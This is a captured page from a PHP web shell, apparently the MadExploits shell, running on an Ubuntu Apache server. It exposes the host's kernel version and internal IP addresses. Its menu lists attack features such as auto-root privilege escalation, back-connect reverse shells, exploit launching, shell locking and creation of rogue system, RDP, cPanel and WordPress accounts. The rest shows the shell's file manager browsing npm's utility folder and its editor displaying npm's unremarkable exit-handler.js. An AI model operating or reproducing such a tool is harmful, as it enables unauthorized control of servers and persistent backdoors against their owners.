Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
npm /
lib /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
completion
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
ansi-trim.js
173
B
-rw-r--r--
audit-error.js
978
B
-rw-r--r--
cmd-list.js
2.5
KB
-rw-r--r--
completion.sh
1.84
KB
-rw-r--r--
deref-command.js
779
B
-rw-r--r--
did-you-mean.js
1.46
KB
-rw-r--r--
display.js
2.89
KB
-rw-r--r--
error-message.js
12.79
KB
-rw-r--r--
exit-handler.js
5.28
KB
-rw-r--r--
explain-dep.js
3.47
KB
-rw-r--r--
explain-eresolve.js
2.56
KB
-rw-r--r--
file-exists.js
217
B
-rw-r--r--
format-bytes.js
621
B
-rw-r--r--
get-identity.js
1.29
KB
-rw-r--r--
hosted-git-info-from-manifest....
588
B
-rw-r--r--
is-windows-bash.js
155
B
-rw-r--r--
is-windows-shell.js
144
B
-rw-r--r--
is-windows.js
46
B
-rw-r--r--
log-file.js
7.03
KB
-rw-r--r--
log-shim.js
1.68
KB
-rw-r--r--
npm-usage.js
1.98
KB
-rw-r--r--
open-url.js
1.17
KB
-rw-r--r--
otplease.js
620
B
-rw-r--r--
path.js
196
B
-rw-r--r--
ping.js
252
B
-rw-r--r--
pulse-till-done.js
412
B
-rw-r--r--
queryable.js
9.56
KB
-rw-r--r--
read-package-name.js
285
B
-rw-r--r--
read-user-info.js
1.99
KB
-rw-r--r--
reify-finish.js
876
B
-rw-r--r--
reify-output.js
5.04
KB
-rw-r--r--
replace-info.js
778
B
-rw-r--r--
split-package-names.js
618
B
-rw-r--r--
tar.js
3.73
KB
-rw-r--r--
timers.js
2.87
KB
-rw-r--r--
unsupported.js
1.54
KB
-rw-r--r--
update-notifier.js
1.69
KB
-rw-r--r--
usage.js
597
B
-rw-r--r--
validate-lockfile.js
1023
B
-rw-r--r--
with-chown-sync.js
350
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exit-handler.js
const os = require('os') const log = require('./log-shim.js') const errorMessage = require('./error-message.js') const replaceInfo = require('./replace-info.js') const messageText = msg => msg.map(line => line.slice(1).join(' ')).join('\n') let npm = null // set by the cli let exitHandlerCalled = false let showLogFileMessage = false process.on('exit', code => { log.disableProgress() // process.emit is synchronous, so the timeEnd handler will run before the // unfinished timer check below process.emit('timeEnd', 'npm') const hasNpm = !!npm const hasLoadedNpm = hasNpm && npm.config.loaded // Unfinished timers can be read before config load if (hasNpm) { for (const [name, timer] of npm.unfinishedTimers) { log.verbose('unfinished npm timer', name, timer) } } if (!code) { log.info('ok') } else { log.verbose('code', code) } if (!exitHandlerCalled) { process.exitCode = code || 1 log.error('', 'Exit handler never called!') console.error('') log.error('', 'This is an error with npm itself. Please report this error at:') log.error('', ' <https://github.com/npm/cli/issues>') showLogFileMessage = true } // In timing mode we always show the log file message if (hasLoadedNpm && npm.config.get('timing')) { showLogFileMessage = true } // npm must be loaded to know where the log file was written if (showLogFileMessage && hasLoadedNpm) { // just a line break if (log.levels[log.level] <= log.levels.error) { console.error('') } log.error( '', [ 'A complete log of this run can be found in:', ...npm.logFiles.map(f => ' ' + f), ].join('\n') ) } // This removes any listeners npm setup and writes files if necessary // This is mostly used for tests to avoid max listener warnings if (hasLoadedNpm) { npm.unload() } // these are needed for the tests to have a clean slate in each test case exitHandlerCalled = false showLogFileMessage = false }) const exitHandler = err => { exitHandlerCalled = true log.disableProgress() const hasNpm = !!npm const hasLoadedNpm = hasNpm && npm.config.loaded if (!hasNpm) { err = err || new Error('Exit prior to setting npm in exit handler') console.error(err.stack || err.message) return process.exit(1) } if (!hasLoadedNpm) { err = err || new Error('Exit prior to config file resolving.') console.error(err.stack || err.message) } // only show the notification if it finished. if (typeof npm.updateNotification === 'string') { const { level } = log log.level = 'notice' log.notice('', npm.updateNotification) log.level = level } let exitCode let noLogMessage if (err) { exitCode = 1 // if we got a command that just shells out to something else, then it // will presumably print its own errors and exit with a proper status // code if there's a problem. If we got an error with a code=0, then... // something else went wrong along the way, so maybe an npm problem? const isShellout = npm.shelloutCommands.includes(npm.command) const quietShellout = isShellout && typeof err.code === 'number' && err.code if (quietShellout) { exitCode = err.code noLogMessage = true } else if (typeof err === 'string') { // XXX: we should stop throwing strings log.error('', err) noLogMessage = true } else if (!(err instanceof Error)) { log.error('weird error', err) noLogMessage = true } else { if (!err.code) { const matchErrorCode = err.message.match(/^(?:Error: )?(E[A-Z]+)/) err.code = matchErrorCode && matchErrorCode[1] } for (const k of ['type', 'stack', 'statusCode', 'pkgid']) { const v = err[k] if (v) { log.verbose(k, replaceInfo(v)) } } const args = replaceInfo(process.argv) log.verbose('cwd', process.cwd()) log.verbose('', os.type() + ' ' + os.release()) log.verbose('argv', args.map(JSON.stringify).join(' ')) log.verbose('node', process.version) log.verbose('npm ', 'v' + npm.version) for (const k of ['code', 'syscall', 'file', 'path', 'dest', 'errno']) { const v = err[k] if (v) { log.error(k, v) } } const msg = errorMessage(err, npm) for (const errline of [...msg.summary, ...msg.detail]) { log.error(...errline) } if (hasLoadedNpm && npm.config.get('json')) { const error = { error: { code: err.code, summary: messageText(msg.summary), detail: messageText(msg.detail), }, } console.error(JSON.stringify(error, null, 2)) } if (typeof err.errno === 'number') { exitCode = err.errno } else if (typeof err.code === 'number') { exitCode = err.code } } } log.verbose('exit', exitCode || 0) showLogFileMessage = log.level === 'silent' || noLogMessage ? false : !!exitCode // explicitly call process.exit now so we don't hang on things like the // update notifier, also flush stdout beforehand because process.exit doesn't // wait for that to happen. process.stdout.write('', () => process.exit(exitCode)) } module.exports = exitHandler module.exports.setNpm = n => { npm = n }
Close